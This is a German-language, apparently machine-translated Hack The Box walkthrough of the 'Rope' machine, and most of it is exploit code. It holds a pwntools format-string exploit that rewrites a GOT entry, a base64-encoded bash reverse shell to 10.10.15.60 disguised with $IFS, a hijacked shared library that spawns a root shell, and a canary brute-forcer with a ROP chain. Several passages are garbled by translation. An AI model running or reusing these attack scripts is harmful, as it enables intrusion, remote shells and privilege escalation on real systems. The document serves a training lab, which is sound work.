Hack The Box. Walkthrough-Seil. PWN. Formatieren Sie Strings und ROP mit pwntools

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .

In diesem Artikel sammeln wir viele, viele pwn, die wir mit pwntools lösen werden. Ich denke, es wird für Leser mit jedem Bekanntheitsgrad in diesem Thema nützlich sein. Los geht's ... Die

Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse vom 10.10.10.148, die ich zu / etc / hosts hinzufüge.

10.10.10.148    rope.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A rope.htb -p22,9999

Bild

Der Host führt SSH und einen Webserver aus. Wir gehen ins Internet und werden von einem Autorisierungsformular empfangen.

Bild

Beim Anzeigen eines Verzeichnisscans erhalten wir ein nicht indiziertes Verzeichnis / (http: //rope.htb: 9999 //).

Bild

Und im Verzeichnis / opt / www finden wir die ausführbare Datei - das ist unser Webserver.

Bild

HTTPserver PWN


Laden Sie es herunter und sehen Sie, was Schutz mit checksec ist.

Bild

Somit haben wir eine 32-Bit-Anwendung mit allen aktivierten Schutzfunktionen, nämlich:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Aufgrund der Tatsache, dass wir Dateien auf dem Server lesen können, können wir die Prozesszuordnung dieser ausführbaren Datei lesen. Dies gibt uns die Antwort auf die folgenden Fragen:

  1. Unter welche Adresse wird das Programm heruntergeladen?
  2. Und an welcher Adresse werden die von ihr genutzten Bibliotheken geladen?

Lass uns das tun.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

Bild

Wir haben also zwei Adressen: 0x56558000 und f7ddc000. Gleichzeitig erhalten wir den Pfad zur verwendeten libc-Bibliothek und laden ihn ebenfalls herunter. Unter Berücksichtigung aller gefundenen Informationen erstellen wir nun eine Exploit-Vorlage.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Öffnen Sie nun die Datei selbst zur Analyse in einem für Sie geeigneten Disassembler (mit einem Dekompiler). Ich verwende IDA mit einer Reihe von Plugins und bevor ich mich zu einer eingehenden Analyse hinsetze, sehe ich lieber alles, was ich für bewährte Plugins sammeln kann. Eine davon ist LazyIDA . Und für die Abfrage "Scan Format String Vuln" erhalten wir eine Platte mit potenziell anfälligen Funktionen.

Bild

Aus der Erfahrung mit diesem Plugin habe ich sofort auf die zweite Zeile (ihren Formatparameter) aufmerksam gemacht. Wir gehen zum Verwendungsort dieser Funktion und dekompilieren sie.

Bild

Und Vermutungen werden bestätigt, die Zeile wird einfach an die Funktion printf übergeben. Lassen Sie uns herausfinden, was diese Zeichenfolge ist. Gehen wir zum Ort des Aufrufs der Funktion log_access.

Bild

Wir interessieren uns also für den dritten Parameter, der die IDA als Datei markiert hat. Antworten auf alle Fragen erhalten wir nur, wenn wir uns die Querverweise auf diese Variable ansehen.

Bild

Dies ist also ein Zeiger auf eine Zeichenfolge - den Namen der Datei, die zum Lesen geöffnet wird. Da diese Variable das Ergebnis der Ausführung der Funktion parse_request () ist, die Datei zum Lesen geöffnet wird und das gesamte Programm ein Webserver ist, können wir davon ausgehen, dass dies die auf dem Server angeforderte Seite ist.

curl http://127.0.0.1:9999/qwerty

Bild

Lassen Sie uns die Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen überprüfen.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

Bild

Fein! Definieren wir den Offset (wie viele% p-Spezifizierer müssen gesendet werden, um 0x41414141 - AAAA am Ende der Ausgabe zu erhalten).

Bild

Wir bekommen 53. Überprüfen Sie, ob alles korrekt ist.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

Bild

Wir können keine lokale Shell erhalten, aber wir können einen Befehl ausführen, z. B. eine umgekehrte Shell auslösen:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Um unangenehme Zeichen zu vermeiden, werden wir sie in base64 codieren. Der Shell-Aufruf sieht dann folgendermaßen aus:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

Ersetzen Sie am Ende alle Leerzeichen durch das Konstrukt $ IFS. Wir erhalten den Befehl, den Sie ausführen müssen, um die Rückverbindung herzustellen.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Fügen wir dies dem Code hinzu:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Nun zurück zu unserer Formatzeichenfolge. Da Putsf nach printf () aufgerufen wird, können wir seine Adresse in GOT von libc in die Adresse der Systemfunktion umschreiben. Dank pwntools ist dies sehr einfach. Angenommen, Sie können die relative Adresse der Puts-Funktion mit binary.got ['Puts'] abrufen, auch einfach mit der Funktion system: libc.symbols ['system']. Über Formatzeilen und GOT habe ich in Artikeln über pwn ausführlich beschrieben, daher sammeln wir hier einfach die Formatzeile mit pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Wir sammeln die endgültige Nutzlast:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Wir verbinden und senden:

p = remote(host,port)
p.send(payload)
p.close()

Der vollständige Code sieht so aus.

Bild

Lassen Sie uns den Code ausführen und Backconnect erhalten.

Bild

Bild

BENUTZER


Lassen Sie uns die Sudo-Einstellungen überprüfen, um Befehle ohne Passwort auszuführen.

Bild

Und wir sehen, dass Sie Readlogs im Namen des Benutzers r4j ausführen können. Es gibt keine Schwachstellen in der Anwendung, GTFOBins fehlen ebenfalls. Sehen wir uns die von der Anwendung verwendeten Bibliotheken an.

Bild

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

Bild

Das heißt, wir können in diese Dateien schreiben. Schreiben wir unsere Bibliothek.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Jetzt kompiliere es.

gcc -c -Wall -Werror -fpic liblog.c

Und sammle die Bibliothek.

Gcc -shared -o liblog.so liblog.o

Dann laden wir die Datei auf den Host hoch, überschreiben die Bibliothek und führen das Programm aus.

Bild

Also nehmen wir den Benutzer.

WURZEL


Um das System aufzulisten, verwenden wir Linpeas.

Bild

Auf dem lokalen Host lauscht also Port 1337.

Bild

Wie Sie sehen können, ist unser Benutzer Mitglied der Adm-Gruppe. Werfen wir einen Blick auf die für diese Gruppe verfügbaren Dateien.

Bild

Es gibt eine interessante Datei. Und dies ist das Programm, das den Port abhört.

Bild

In diesem Fall wird die Anwendung als root ausgeführt.

Bild

Laden Sie die Anwendung selbst und die verwendete libc-Bibliothek herunter. Beachten Sie, dass ASLR auf dem Host aktiv ist.

Bild

Überprüfen Sie, welchen Schutz die Anwendung hat.

Bild

Alles maximal. Das heißt, wenn wir einen Pufferüberlauf finden, müssen wir den Kanarienvogel (den Wert, der vor dem Beenden der Funktion überprüft wird, um die Integrität des Puffers zu überprüfen) brutal behandeln. Als Technik zum Ausnutzen der Sicherheitsanfälligkeit verwenden wir ROP (über das ich ausführlich geschrieben habe)hier ). Öffnen wir das Programm in einem beliebigen Disassembler mit einem für Sie geeigneten Dekompiler (ich verwende IDA Pro). Wir dekompilieren die Hauptfunktion main.

Bild

Ein Beispiel für einen Kanarienvogel ist die Variable v10, die am Anfang einer Funktion gesetzt wird. Mal sehen, wofür die Funktion sub_1267 verantwortlich ist.

Bild

Hier öffnen wir also den Port zum Abhören. Sie können es in is_listen () umbenennen. wir gehen weiter Die folgende benutzerdefinierte Funktion ist sub_14EE.

Bild

Vor dem Senden gibt es eine andere Benutzerfunktion. Wir sehen sie an.

Bild

Somit wird in dieser Funktion eine Zeichenfolge von bis zu 0 × 400 Bytes empfangen und in den Puffer geschrieben. Der Kommentar zur Variablen buf gibt die Adresse relativ zur Basis des aktuellen Stapelrahmens (rbp) - [rbp-40h] an, und die Variable v3 (kanarisch) hat eine relative Adresse [rbp-8h]. Für den Pufferüberlauf benötigen wir also mehr [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 Bytes.

Somit ist der Plan wie folgt:

  1. den Puffer finden und überlaufen lassen;
  2. lege den Kanarienvogel nieder, rbp und zerreiße;
  3. Da PIE aktiviert ist, müssen Sie den tatsächlichen Versatz ermitteln.
  4. Suchen Sie einen Speicherverlust, um die Adresse zu berechnen, unter der die Bibliothek geladen wird.
  5. Sammeln Sie ROP, in dem der Strom von Standarddeskriptoren zum Netzwerkdeskriptor des Programms umgeleitet wird, und rufen Sie dann / bin / sh über die Systemfunktion auf.

1. Pufferüberlauf


Wie unten zu sehen ist, arbeitet das Programm beim Übertragen von 56 Bytes normal weiter, aber beim Übertragen von 57 Bytes erhalten wir eine Ausnahme. Somit wird die Integrität des Puffers verletzt.

Bild

Lassen Sie uns eine Exploit-Vorlage erstellen. Da viel sortiert und erneut verbunden werden muss, wird die Ausgabe von pwntools-Nachrichten (log_level) deaktiviert.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP


Wie wir herausgefunden haben, befindet sich nach 56 Bytes des Puffers ein Kanarienvogel und danach befinden sich RBP- und RIP-Adressen auf dem Stapel, die ebenfalls aussortiert werden müssen. Schreiben wir eine 8-Byte-Matching-Funktion.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

So können wir pre_payload zusammenstellen:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


Jetzt beschäftigen wir uns mit PIE. Wir haben RIP gefunden - dies ist die Absenderadresse, an die wir von der Funktion zurückkehren. Somit können wir die Rücksprungadresse im Code davon abziehen.

Bild

Somit beträgt der Versatz von der Basis 0x1562. Geben Sie die tatsächliche Adresse der laufenden Anwendung an.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. Speicherleck


Die Anwendung verwendet die Standardfunktion write (), um die Eingabeaufforderungszeichenfolge anzuzeigen, die ein Handle für die Ausgabe, einen Puffer und deren Größe verwendet. Wir können diese Funktion verwenden.

Verwenden Sie der Einfachheit halber das ROP-Modul von pwntools. Kurz gesagt, wie und warum dies funktioniert, sehen Sie im Bild unten.

Bild

Lassen Sie uns ein Leck bekommen, dies wird uns wissen lassen, welche Adresse die Schreibfunktion in der geladenen libc-Bibliothek hat.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Lassen Sie uns die Basisadresse der libc-Bibliothek ändern und die Adresse der Zeile / bin / sh ermitteln.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Es bleibt die ROP zu sammeln, in der die Standard-E / A-Deskriptoren (0,1,2) an den im Programm registrierten Deskriptor (4) umgeleitet werden. Danach wird die Systemfunktion aufgerufen, wo wir die Adresse der Zeile / bin / sh übergeben.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Operation
Vollständiger Exploit-Code.

Bild

Schreiben Sie nun auf dem Server den SSH-Schlüssel in die Datei /home/r4j/.ssh/authorizef_keys.

Bild

Und leiten Sie den Port weiter (stellen Sie sicher, dass die Verbindung vom lokalen Port 1337 über SSH zum Port 1337 des Remote-Hosts umgeleitet wird).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

Und starten Sie den Exploit.

Bild

Wir arbeiten unter der Wurzel.

Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles